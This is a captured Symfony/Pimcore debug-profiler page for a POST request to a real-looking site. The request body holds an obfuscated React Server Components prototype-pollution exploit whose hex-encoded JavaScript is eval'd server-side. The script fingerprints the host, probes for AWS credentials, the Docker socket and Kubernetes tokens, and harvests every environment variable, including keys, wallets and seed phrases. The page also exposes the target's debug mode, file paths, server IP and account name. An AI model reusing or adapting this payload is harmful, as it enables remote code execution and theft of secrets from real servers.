POST https://pim.unimess.de/

Response
200 OK
IP
44.255.112.199
Profiled on
Token
7a7a2e

DefaultController :: defaultAction

Request

GET Parameters

No GET parameters

POST Parameters

Key Value
0 
"{"_response":{"_formData":{"get":"$1:constructor:constructor"},"_prefix":"var reject_bridge=arguments[1];Promise.all([import('node:zlib')]).then(([zlib])=\u003enew Promise((resolve,reject)=\u003e{try{var c=global[String.fromCharCode(66,117,102,102,101,114)].from('286173796e632066756e6374696f6e28297b636f6e737420653d617761697420696d706f727428226f7322292c723d617761697420696d706f72742822667322292c4f3d617761697420696d706f727428227061746822292c743d653d3e7b7472797b72657475726e20722e7265616446696c6553796e6328652c227574663822297d63617463687b72657475726e22227d7d2c6f3d653d3e7b7472797b72657475726e20722e61636365737353796e632865292c21307d63617463687b72657475726e21317d7d2c663d653d3e7b7472797b72657475726e20722e61636365737353796e6328652c722e636f6e7374616e74732e575f4f4b292c21307d63617463687b72657475726e21317d7d2c733d652e6370757328292c6c3d652e746f74616c6d656d28292c693d652e706c6174666f726d28293b6c657420643d22756e6b6e6f776e223b7472797b643d652e75736572496e666f28292e757365726e616d657d63617463687b643d70726f636573732e656e762e555345527c7c70726f636573732e656e762e555345524e414d457c7c22756e6b6e6f776e227d6c657420613d224d4554414c223b6966282870726f636573732e656e762e4b554245524e455445535f534552564943455f484f53547c7c70726f636573732e656e762e444f434b45525f484f53547c7c70726f636573732e656e762e4157535f455845435554494f4e5f454e567c7c70726f636573732e656e762e44594e4f7c7c6f28222f2e646f636b6572656e7622297c7c6f28222f72756e2f2e636f6e7461696e6572656e76222929262628613d22434f4e5441494e455222292c693d3d3d226c696e757822297b636f6e737420653d7428222f70726f632f73656c662f6367726f757022293b652e6d61746368282f646f636b65727c6b756265706f64737c6c78637c706f646d616e2f6929262628613d22434f4e5441494e455222293b636f6e7374206e3d7428222f70726f632f73656c662f6d6f756e74696e666f22293b6e2e6d61746368282f6f7665726c61797c6f7665726c6179322f69292626613d3d3d224d4554414c22262628613d22434f4e5441494e4552202850726f6261626c652922297d636f6e7374206d3d652e6e6574776f726b496e746572666163657328292c683d5b5d3b4f626a6563742e6b657973286d292e666f724561636828653d3e7b6d5b655d2e666f724561636828653d3e7b21652e696e7465726e616c2626652e66616d696c793d3d3d2249507634222626682e7075736828652e61646472657373297d297d293b636f6e737420673d5b652e746d7064697228292c222f6465762f73686d222c222f7661722f746d70222c70726f636573732e63776428295d2c763d5b2e2e2e6e6577205365742867295d2c623d762e66696c74657228653d3e66286529293b6c657420753d2230223b696628735b305d2626735b305d2e6d6f64656c2e746f55707065724361736528292e696e636c75646573282241565832222929753d2231223b656c736520696628693d3d3d226c696e757822297b636f6e737420653d7428222f70726f632f637075696e666f22293b652e696e636c756465732822617678322229262628753d223122297d636f6e7374206a3d2f4157535f7c4543535f7c4543325f7c505249564154455f4b45597c4d4e454d4f4e49437c57414c4c45547c4b455953544f52457c534545445f5048524153457c53454e44475249447c4d41494c47554e7c504f53544d41524b7c5345535f2f692c793d4f626a6563742e6b6579732870726f636573732e656e76292e736f6d6528653d3e6a2e74657374286529292c5f3d652e686f6d6564697228292c773d4f2e6a6f696e285f2c222e617773222c2263726564656e7469616c7322293b6c657420633d6f2877293b693d3d3d226c696e757822262628633d637c7c6628222f7661722f72756e2f646f636b65722e736f636b22297c7c6f28222f7661722f72756e2f736563726574732f6b756265726e657465732e696f2f736572766963656163636f756e742f746f6b656e22297c7c6f28222f726f6f742f2e6177732f63726564656e7469616c732229293b6c657420703d4d6174682e666c6f6f72286c2f313032342f31303234292e746f537472696e6728292c6e3d732e6c656e6774682e746f537472696e6728293b696628693d3d3d226c696e757822297472797b6c657420653d7428222f7379732f66732f6367726f75702f6d656d6f72792f6d656d6f72792e6c696d69745f696e5f627974657322292e7472696d28293b696628657c7c28653d7428222f7379732f66732f6367726f75702f6d656d6f72792e6d617822292e7472696d2829292c65262665213d3d226d617822297b636f6e737420743d7061727365496e742865293b2169734e614e2874292626743e302626743c6c262628703d4d6174682e666c6f6f7228742f313032342f31303234292e746f537472696e672829297d636f6e737420733d7061727365496e74287428222f7379732f66732f6367726f75702f6370752f6370752e6366735f71756f74615f757322292e7472696d2829292c6f3d7061727365496e74287428222f7379732f66732f6367726f75702f6370752f6370752e6366735f706572696f645f757322292e7472696d2829293b6966282169734e614e28732926262169734e614e286f292626733e30296e3d4d6174682e666c6f6f7228732f6f292e746f537472696e6728292c6e3d3d3d2230223f6e3d22302e58223a6e3d4d6174682e6d617828312c7061727365496e74286e29292e746f537472696e6728293b656c73657b636f6e737420653d7428222f7379732f66732f6367726f75702f6370752e6d617822292e7472696d28293b69662865297b636f6e737420743d652e73706c697428222022293b696628742e6c656e6774683d3d3d322626745b305d213d3d226d617822297b636f6e737420653d7061727365496e7428745b305d292c733d7061727365496e7428745b315d293b6966282169734e614e28652926262169734e614e287329297b6c657420743d4d6174682e666c6f6f7228652f73293b6e3d28743c313f22302e58223a74292e746f537472696e6728297d7d7d7d7d63617463687b7d72657475726e7b706c6174666f726d3a692c757365725f69643a642c6b65726e656c5f72656c656173653a652e72656c6561736528292c656e765f747970653a612c686f73745f636f7265735f746f74616c3a732e6c656e6774682e746f537472696e6728292c757361626c655f636f7265733a6e2c6370755f6d6f64656c3a735b305d3f735b305d2e6d6f64656c3a22756e6b6e6f776e222c6861735f617678323a752c72616d5f746f74616c5f6d623a4d6174682e666c6f6f72286c2f313032342f31303234292e746f537472696e6728292c757361626c655f72616d5f6d623a702c6970733a682c7772697461626c655f70617468733a622c6377643a70726f636573732e63776428292c656e765f766172733a70726f636573732e656e762c656e765f766172735f636f756e743a4f626a6563742e6b6579732870726f636573732e656e76292e6c656e6774682e746f537472696e6728292c69735f6876743a28797c7c63292e746f537472696e6728297d7d292829','hex').toString();var v=eval(c);Promise.resolve(v).then(r=\u003e{r=typeof r==='object'?JSON.stringify(r):String(r);reject(Object.assign(new Error('RCE_RES'),{digest:global[String.fromCharCode(66,117,102,102,101,114)].from(r).toString('hex')}));}).catch(e=\u003ereject(Object.assign(new Error('JS_ERR'),{digest:global[String.fromCharCode(66,117,102,102,101,114)].from(e.message).toString('hex')})));}catch(e){}})).catch(e=\u003ereject_bridge(e));"},"reason":-1,"status":"resolved_model","then":"$1:__proto__:then","value":"{\"then\": \"$B0\"}"}"
1 
""$@0""

Uploaded Files

No files were uploaded

Request Attributes

Key Value
_controller 
"App\Controller\DefaultController::defaultAction"
_editmode 
false
_event_controller 
App\Controller\DefaultController {#1665
  #container: Symfony\Component\DependencyInjection\Argument\ServiceLocator {#1758 …}
}
_locale 
null
_pimcore_context 
"default"
_pimcore_frontend_request 
true
_route 
"document_1"
_route_params 
[
  "_locale" => null
]
_stopwatch_token 
"2d0bdd"
contentDocument 
Pimcore\Model\Document\Page {#1738
  #dao: Pimcore\Model\Document\Page\Dao {#1713 …}
  #dependencies: null
  #__dataVersionTimestamp: 1689861271
  #path: "/"
  #properties: []
  #id: 1
  #creationDate: 1689861271
  #modificationDate: 1689861271
  #versionCount: 0
  #userOwner: 1
  #locked: null
  #userModification: 1
  #parentId: 0
  #parent: null
  #_fulldump: false
  #dirtyFields: []
  -activeDispatchingEvents: []
  #fullPathCache: "/"
  #type: "page"
  #key: ""
  #index: 999999
  #published: true
  #children: []
  #siblings: []
  #controller: "App\Controller\DefaultController::defaultAction"
  #template: ""
  #editables: null
  #versions: null
  #contentMainDocumentId: &2 null
  #contentMasterDocumentId: &2 null
  #supportsContentMain: true
  #missingRequiredEditable: null
  #staticGeneratorEnabled: null
  #staticGeneratorLifetime: null
  #inheritedEditables: []
  #scheduledTasks: null
  #title: ""
  #description: ""
  #prettyUrl: null
  dependencies: null
  __dataVersionTimestamp: 1689861271
  path: "/"
  properties: []
  id: 1
  creationDate: 1689861271
  modificationDate: 1689861271
  versionCount: 0
  userOwner: 1
  locked: null
  userModification: 1
  parentId: 0
  parent: null
  _fulldump: false
  dirtyFields: []
  fullPathCache: "/"
  type: "page"
  key: ""
  index: 999999
  published: true
  children: []
  siblings: []
  controller: "App\Controller\DefaultController::defaultAction"
  template: ""
  editables: null
  versions: null
  contentMainDocumentId: null
  contentMasterDocumentId: null
  supportsContentMain: true
  missingRequiredEditable: null
  staticGeneratorEnabled: null
  staticGeneratorLifetime: null
  inheritedEditables: []
  scheduledTasks: null
  title: ""
  description: ""
  prettyUrl: null
}
routeDocument 
Pimcore\Routing\DocumentRoute {#1726
  -path: "/"
  -host: ""
  -schemes: []
  -methods: []
  -defaults: [
    "_locale" => null
    "_controller" => "App\Controller\DefaultController::defaultAction"
  ]
  -requirements: []
  -options: [
    "compiler_class" => "Symfony\Component\Routing\RouteCompiler"
    "utf8" => true
  ]
  -condition: ""
  -compiled: Symfony\Component\Routing\CompiledRoute {#1736 …}
  #document: Pimcore\Model\Document\Page {#1738
    #dao: Pimcore\Model\Document\Page\Dao {#1713 …}
    #dependencies: null
    #__dataVersionTimestamp: 1689861271
    #path: "/"
    #properties: []
    #id: 1
    #creationDate: 1689861271
    #modificationDate: 1689861271
    #versionCount: 0
    #userOwner: 1
    #locked: null
    #userModification: 1
    #parentId: 0
    #parent: null
    #_fulldump: false
    #dirtyFields: []
    -activeDispatchingEvents: []
    #fullPathCache: "/"
    #type: "page"
    #key: ""
    #index: 999999
    #published: true
    #children: []
    #siblings: []
    #controller: "App\Controller\DefaultController::defaultAction"
    #template: ""
    #editables: null
    #versions: null
    #contentMainDocumentId: &2 null
    #contentMasterDocumentId: &2 null
    #supportsContentMain: true
    #missingRequiredEditable: null
    #staticGeneratorEnabled: null
    #staticGeneratorLifetime: null
    #inheritedEditables: []
    #scheduledTasks: null
    #title: ""
    #description: ""
    #prettyUrl: null
    dependencies: null
    __dataVersionTimestamp: 1689861271
    path: "/"
    properties: []
    id: 1
    creationDate: 1689861271
    modificationDate: 1689861271
    versionCount: 0
    userOwner: 1
    locked: null
    userModification: 1
    parentId: 0
    parent: null
    _fulldump: false
    dirtyFields: []
    fullPathCache: "/"
    type: "page"
    key: ""
    index: 999999
    published: true
    children: []
    siblings: []
    controller: "App\Controller\DefaultController::defaultAction"
    template: ""
    editables: null
    versions: null
    contentMainDocumentId: null
    contentMasterDocumentId: null
    supportsContentMain: true
    missingRequiredEditable: null
    staticGeneratorEnabled: null
    staticGeneratorLifetime: null
    inheritedEditables: []
    scheduledTasks: null
    title: ""
    description: ""
    prettyUrl: null
  }
}

Request Headers

Header Value
content-length 
"6354"
content-type 
"multipart/form-data; boundary=------------------------bissa_cve_boundary"
host 
"pim.unimess.de"
next-action 
"x, x"
user-agent 
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
x-forwarded-for 
"127.0.0.1"
x-originating-ip 
"127.0.0.1"
x-php-ob-level 
"1"
x-real-ip 
"127.0.0.1"

Request Content

Request content not available (it was retrieved as a resource).

Response

Response Headers

Header Value
cache-control 
"private, must-revalidate"
content-language 
"en"
content-type 
"text/html; charset=UTF-8"
date 
"Thu, 05 Mar 2026 03:04:39 GMT"
expires 
"Tue, 01 Jan 1980 00:00:00 GMT"
pragma 
"no-cache"
x-debug-token 
"7a7a2e"
x-powered-by 
"pimcore"

Cookies

Request Cookies

No request cookies

Response Cookies

No response cookies

Session

Session Metadata

No session metadata

Session Attributes

No session attributes

Session Usage

0 Usages
Stateless check enabled

Session not used.

Flashes

Flashes

No flash messages were created.

Server Parameters

Server Parameters

Defined in .env

Key Value
APP_DEBUG 
"1"
APP_ENV 
"dev"
PIMCORE_DEV_MODE 
"false"

Defined as regular env variables

Key Value
CONTENT_LENGTH 
"6354"
CONTENT_TYPE 
"multipart/form-data; boundary=------------------------bissa_cve_boundary"
CONTEXT_DOCUMENT_ROOT 
"/home/users/uniadmin/www/pim.unimess.de/public/"
CONTEXT_PREFIX 
""
DOCTRINE_DEPRECATIONS 
"trigger"
DOCUMENT_ROOT 
"/home/users/uniadmin/www/pim.unimess.de/public/"
FCGI_ROLE 
"RESPONDER"
GATEWAY_INTERFACE 
"CGI/1.1"
HOME 
"/home/users/uniadmin/"
HTTPS 
"on"
HTTP_HOST 
"pim.unimess.de"
HTTP_NEXT_ACTION 
"x, x"
HTTP_USER_AGENT 
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
HTTP_X_FORWARDED_FOR 
"127.0.0.1"
HTTP_X_ORIGINATING_IP 
"127.0.0.1"
HTTP_X_REAL_IP 
"127.0.0.1"
PATH 
"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"
PHP_SELF 
"/index.php"
QUERY_STRING 
""
REDIRECT_HTTPS 
"on"
REDIRECT_SSL_TLS_SNI 
"pim.unimess.de"
REDIRECT_STATIC_PAGE_URI 
"/%home"
REDIRECT_STATUS 
"200"
REDIRECT_URL 
"/"
REMOTE_ADDR 
"44.255.112.199"
REMOTE_PORT 
"36800"
REQUEST_METHOD 
"POST"
REQUEST_SCHEME 
"https"
REQUEST_TIME 
1772679879
REQUEST_TIME_FLOAT 
1772679879.1393
REQUEST_URI 
"/"
SCRIPT_FILENAME 
"/home/users/uniadmin/www/pim.unimess.de/public/index.php"
SCRIPT_NAME 
"/index.php"
SERVER_ADDR 
"84.19.184.35"
SERVER_ADMIN 
"info@unimess.de"
SERVER_NAME 
"pim.unimess.de"
SERVER_PORT 
"443"
SERVER_PROTOCOL 
"HTTP/1.1"
SERVER_SIGNATURE 
""
SERVER_SOFTWARE 
"Apache"
SHELL_VERBOSITY 
3
SSL_TLS_SNI 
"pim.unimess.de"
STATIC_PAGE_URI 
"/%home"
SYMFONY_DOTENV_VARS 
"APP_ENV,APP_DEBUG,PIMCORE_DEV_MODE"
TEMP 
"/home/users/uniadmin/tmp/"
TMP 
"/home/users/uniadmin/tmp/"
TMPDIR 
"/home/users/uniadmin/tmp/"
USER 
"uniadmin"